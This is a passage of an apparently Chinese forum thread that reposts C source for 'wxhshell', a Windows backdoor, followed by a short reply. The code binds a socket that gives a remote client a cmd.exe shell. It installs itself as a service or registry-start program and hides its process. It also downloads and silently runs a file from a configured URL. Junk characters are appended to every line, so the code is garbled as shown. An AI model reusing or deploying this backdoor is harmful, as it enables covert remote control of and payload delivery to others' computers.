  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hlj_oDL  
  } # %$U-ti  
  else { M4`. [P4  
}5qpiS"V9  
    switch(cmd[0]) { oW \k%Vj  
  $]t3pAI[H0  
  // 帮助 yrVk$k#6}  
  case '?': { vQ",rP%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U8gf_R'  
    break; A5[iFT>  
  } M\rZr3  
  // 安装 kt;uB X3  
  case 'i': { ]5Mq^@mD'  
    if(Install()) F2:nL`]b[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g<(\#F}/  
    else JRYCM}C]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yfd0Np~  
    break; #Li6RSeW  
    } <*F!A' w2o  
  // 卸载 v%$c_'d  
  case 'r': { n/Fx2QC{  
    if(Uninstall()) l}MVk%[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {GP#/5$=  
    else Qf#=Y j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '`nf7b(  
    break; VY|'7in"M  
    } :'0.  
  // 显示 wxhshell 所在路径 DP5}q"l  
  case 'p': { la}Xo0nq0+  
    char svExeFile[MAX_PATH]; )j/b `V6  
    strcpy(svExeFile,"\n\r"); DO{Lj# @  
      strcat(svExeFile,ExeFile); >Xv Fg  
        send(wsh,svExeFile,strlen(svExeFile),0); `ZhS=ezgr  
    break; aF]cEe  
    } k(23Zt]  
  // 重启 &6q67  
  case 'b': { Rw!wfh_+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I92orr1  
    if(Boot(REBOOT)) &cHA xker  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F+ Q(^Nk  
    else { UrJrv x  
    closesocket(wsh); dp DPSI  
    ExitThread(0); uoi~JF  
    } 0n-S%e5  
    break; =Hf`yH\#  
    } M>_ U9g  
  // 关机 Lh rU fy  
  case 'd': { G'IRqO *]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @b{I0+li"/  
    if(Boot(SHUTDOWN)) uP NZ^lM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # ; 3v4P  
    else { ki=]#]rg  
    closesocket(wsh); *1`q x+1  
    ExitThread(0); vMv? fE"  
    } f)#rBAkt  
    break; w)7s]Ld  
    } R.P|gk  
  // 获取shell q'1 86L87  
  case 's': { 8ZL9>"%l  
    CmdShell(wsh); X(M|T]`b:  
    closesocket(wsh); G{]tB w  
    ExitThread(0); gPqdl6#c  
    break; =s/UF_JN  
  } w e}G%09L  
  // 退出 NSkIzaNY  
  case 'x': { uG,*m'x']  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y1OpZ  
    CloseIt(wsh); _?rL7oTv  
    break; nv'YtmR  
    } q)Qg'l^f  
  // 离开 B`mTp01  
  case 'q': { 8'|_O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q>f|1Pf  
    closesocket(wsh); fq4[/%6,O  
    WSACleanup(); h;DLD8L  
    exit(1); Zt/4|&w  
    break; m4x8W2q  
        } iOXsj  
  } hZwJ@ Vm#  
  } , G9{:  
>e M> Y@8=  
  // 提示信息 N.F //n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]o2jS D  
} RcpKv;=iB  
  } ,,+iPGa<  
Wi<g  
  return; Yc p<N>)  
} WWjc.A$  
v\3$$T)  
// shell模块句柄 ul^VGW>i  
int CmdShell(SOCKET sock) #M@Ki1  
{ |*v w(  
STARTUPINFO si; ;GV~MH-F  
ZeroMemory(&si,sizeof(si)); w{89@ XRC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J u"K"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8Os: SC@Q  
PROCESS_INFORMATION ProcessInfo; wn/Y 5   
char cmdline[]="cmd"; gn)>(MG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aW*8t'm;m'  
  return 0; 5fY7[{ 2  
} Ng|c13A=  
'LMMo4o3  
// 自身启动模式 nh*hw[Ord  
int StartFromService(void) )SzgMbF6  
{ mRT$@xa]J  
typedef struct ^{g('BQx  
{ "Ta"5XW  
  DWORD ExitStatus; iCIU'yI  
  DWORD PebBaseAddress; Ye]-RN/W  
  DWORD AffinityMask; [yx8?5  
  DWORD BasePriority; %_. fEFy07  
  ULONG UniqueProcessId; @FaK/lKK  
  ULONG InheritedFromUniqueProcessId; k7)<3f3&S.  
}   PROCESS_BASIC_INFORMATION; 'mYUAVmSC#  
7u<C&Z/  
PROCNTQSIP NtQueryInformationProcess; P-?R\(QYtR  
U0@Qc}y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g]Z@_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6H ^=\  
OJT%?P%@{  
  HANDLE             hProcess; }NY! z^  
  PROCESS_BASIC_INFORMATION pbi; :rSCoi>K  
~%!"!Z4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");   |Sr  
  if(NULL == hInst ) return 0; WwF2Ry^a  
cI (}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Wxa</n8S[n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nq"J[l*+g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bx:j`5Uj`  
w=kW~gg  
  if (!NtQueryInformationProcess) return 0; cceh`s=cU  
N7UGgn=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QC<O=<$Q[  
  if(!hProcess) return 0; CXh >'K  
w`X0^<Fv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o:PdPuZVR  
"5@\"L  
  CloseHandle(hProcess); se*!OiOt  
2Dw}o;1'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X}ft7;Jpy  
if(hProcess==NULL) return 0; (w1$m8`=  
s(pNg?R  
HMODULE hMod; d8J(~$tXQN  
char procName[255]; n+D93d9LP  
unsigned long cbNeeded; [! Zyp`:  
Xk`'m[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {xRO.699  
Q?V'3ZZF!  
  CloseHandle(hProcess); tqXCj}mR  
>~*}9y0$  
if(strstr(procName,"services")) return 1; // 以服务启动 |-`-zo4z  
E_-g<Cw  
  return 0; // 注册表启动 z<OfSS_]R  
} GQ6~Si2  
#'8'5b  
// 主模块 ~n;U5hcB  
int StartWxhshell(LPSTR lpCmdLine) O"9Or3w  
{ Bmv5yc+;  
  SOCKET wsl; |h-e+Wh1  
BOOL val=TRUE; 6kHuKxY,  
  int port=0; hxkwT  
  struct sockaddr_in door; ( 9(NP_s  
 :X 9_~  
  if(wscfg.ws_autoins) Install(); $f AZ^   
?X@uR5?{  
port=atoi(lpCmdLine); @dc4v_9  
{r?+PQQ#  
if(port<=0) port=wscfg.ws_port; n'8 3P%x  
`{H!V~42  
  WSADATA data; Ntlbn&lc;D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i|!W;2KL5  
qlC4&82=Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d@ef+-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q"VC#9 7`  
  door.sin_family = AF_INET; jqQGn"!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m[<z/D  
  door.sin_port = htons(port); O|0V mm  
6+/BYN!&4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4VP$, |a  
closesocket(wsl); .5!Q(  
return 1; `<(o;*&Gd  
} #{5h6IC  
]SUW"5L-  
  if(listen(wsl,2) == INVALID_SOCKET) { AZva  
closesocket(wsl); eE" *c>I  
return 1; Lklb  
} AQD`cG  
  Wxhshell(wsl); #Yx /ubg6  
  WSACleanup(); ^%NjdZuDO  
nU/x,W[}  
return 0; rw%OA4>  
LCMn9I  
} p4@0Dz`Q  
\L"0Pmt[  
// 以NT服务方式启动 LfMN 'Cb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `=E4J2"  
{ Erm]uI9`  
DWORD   status = 0; ZJV;&[$[  
  DWORD   specificError = 0xfffffff; +\RviF[+  
ql7N\COoq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t;W'<.m_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cf.(/5X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qRCUkw} fs  
  serviceStatus.dwWin32ExitCode     = 0; YLp#z8 1e  
  serviceStatus.dwServiceSpecificExitCode = 0; I @ D<rjR  
  serviceStatus.dwCheckPoint       = 0; 3XhLn/@  
  serviceStatus.dwWaitHint       = 0; V3$zlzSm,  
~Gh9m ]b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wUH:l  
  if (hServiceStatusHandle==0) return; @6V kNe9  
X4/3vY  
status = GetLastError(); Kza5_ 7p`L  
  if (status!=NO_ERROR) %";ap8J04F  
{ +<'>~lDg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h y"=)n(  
    serviceStatus.dwCheckPoint       = 0; `gdk,L]  
    serviceStatus.dwWaitHint       = 0; v,c;dlg_  
    serviceStatus.dwWin32ExitCode     = status; Vkl]&mYRz  
    serviceStatus.dwServiceSpecificExitCode = specificError; n!L}4Nmp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @wh-.M D  
    return; 1 }_"2  
  } 9,$ n 6t;  
e/zz.cd){  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4R& pb1eF  
  serviceStatus.dwCheckPoint       = 0; B:fulgh2ni  
  serviceStatus.dwWaitHint       = 0; K}QZdN']  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @gi / 1cq  
} sPRs;to-  
QLb!e"C  
// 处理NT服务事件,比如:启动、停止 95*=& d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7upN:7D-  
{ |M|>/U 8  
switch(fdwControl) bf/z T0  
{ Xbc:Vr  
case SERVICE_CONTROL_STOP: ;M5]XCP k  
  serviceStatus.dwWin32ExitCode = 0; Oe&gTXo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K%YR; )5A  
  serviceStatus.dwCheckPoint   = 0; ese?;1r  
  serviceStatus.dwWaitHint     = 0; 1WAps#b.  
  { |fPR7-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d[sY]_ dj  
  } k#x"'yZ  
  return; O7yIFqI=/  
case SERVICE_CONTROL_PAUSE: in2m/q?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DYTC2  
  break; bl[2VM7P  
case SERVICE_CONTROL_CONTINUE: ^F87gow%`B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 90">l^HX=  
  break; \'+P5,  
case SERVICE_CONTROL_INTERROGATE: r[3 2'E  
  break; Q$x 3uH\@  
}; Nx<fj=VJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 43Ua@KNi  
} PDpDkcy|QM  
_.5AB E  
// 标准应用程序主函数  dQI6.$?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) moE!~IroG  
{ gCaxZ~o  
nQd~i0`vB  
// 获取操作系统版本 gqDSHFm:  
OsIsNt=GetOsVer(); ZQ[s/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /H*n(d  
'19kP.  
  // 从命令行安装 c> ":g~w  
  if(strpbrk(lpCmdLine,"iI")) Install(); % {A%SDh  
Q6d>tqWhq  
  // 下载执行文件 ?, cI!c`  
if(wscfg.ws_downexe) { p;)@R$*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VTn6@z_ x  
  WinExec(wscfg.ws_filenam,SW_HIDE); h 2C9p2.  
} >Slu?{l'  
YT<(2u#Ng  
if(!OsIsNt) { O[R   
// 如果时win9x,隐藏进程并且设置为注册表启动 E]ZIm  
HideProc(); x n}HB  
StartWxhshell(lpCmdLine); 3H`ES_JL  
} J:0`*7  
else U8 n=Ro  
  if(StartFromService()) Ns.{$'ll  
  // 以服务方式启动 h`:B8+k  
  StartServiceCtrlDispatcher(DispatchTable); c4M]q4]F  
else Ee'wsL  
  // 普通方式启动 iM"L%6*I^  
  StartWxhshell(lpCmdLine); W=2#Q2)  
<4%PT2R  
return 0; +uMK_ds~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八